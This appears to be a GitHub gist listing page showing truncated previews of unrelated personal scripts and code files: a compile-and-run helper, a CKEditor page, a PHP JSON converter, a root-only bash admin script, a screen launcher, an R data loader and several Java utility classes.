This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
''' | |
Quickly compile and execute a source file in one-go. Does cleanup of executable file, if any. | |
Handles C, C++, Java, PHP, Shell and Python | |
''' | |
import argparse | |
from os import path, system, remove | |
def sourcefile(x): | |
if not path.isfile(x): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>CKEditor</title> | |
<script type="text/javascript" src="./ckeditor.js"></script> | |
<script type="text/javascript"> | |
var editor1, editor1isModified = false; | |
function initialize() { | |
CKEDITOR.replace('editor1', { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (count($argv) != 3) { | |
error_log("Pass input_file_path output_file_path"); | |
exit; | |
} | |
$input_file_path = $argv[1]; | |
$output_file_path = $argv[2]; | |
$json_str = file_get_contents($input_file_path); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ $UID -ne 0 ]; then | |
echo >&2 "You should run this as root" | |
exit | |
fi | |
# Id of user who needs to get root access: | |
COOL_USER_ID=1089 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ "$TERM" = "screen" ]; then | |
echo "Sorry, you're already inside a screen" | |
elif [ `screen -D | wc -l` -eq 1 ]; then | |
echo "Launching new screen..." | |
/usr/bin/screen | |
else | |
echo "Resuming previous screen..." | |
/usr/bin/screen -D -x | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
trainingCsv <- "./training.csv" | |
testCsv <- "./test.csv" | |
trainingData <- read.csv(trainingCsv) | |
testData <- read.csv(testCsv) | |
numColumns <- dim(trainingData)[2] | |
columnNames <- colnames(trainingData) | |
stopifnot(numColumns == dim(testData)[2] + 1) | |
stopifnot(columnNames[-numColumns] == colnames(testData)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.apache.hadoop.conf.Configuration; | |
import org.apache.hadoop.hbase.HBaseConfiguration; | |
import org.apache.hadoop.hbase.KeyValue; | |
import org.apache.hadoop.hbase.client.*; | |
import org.apache.hadoop.hbase.ipc.HBaseRPC; | |
import org.apache.hadoop.hbase.ipc.HMasterInterface; | |
import org.apache.hadoop.hbase.ipc.RpcEngine; | |
import org.apache.hadoop.hbase.util.Bytes; | |
import java.io.IOException; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package manu.sandbox.demos; | |
import com.fasterxml.jackson.annotation.JsonValue; | |
import com.google.common.collect.Sets; | |
import java.util.HashMap; | |
import java.util.Map; | |
import java.util.Set; | |
/** |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package manu.sandbox.utils; | |
import java.util.*; | |
public class AverageCalculator { | |
private static class FrequencyComparator implements Comparator<Double> { | |
private final Map<Double, Integer> histogram; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package manu.sandbox.utils; | |
import java.math.BigDecimal; | |
import java.math.BigInteger; | |
import java.util.ArrayList; | |
import java.util.HashMap; | |
import java.util.List; | |
import java.util.Map; | |
import java.util.concurrent.*; |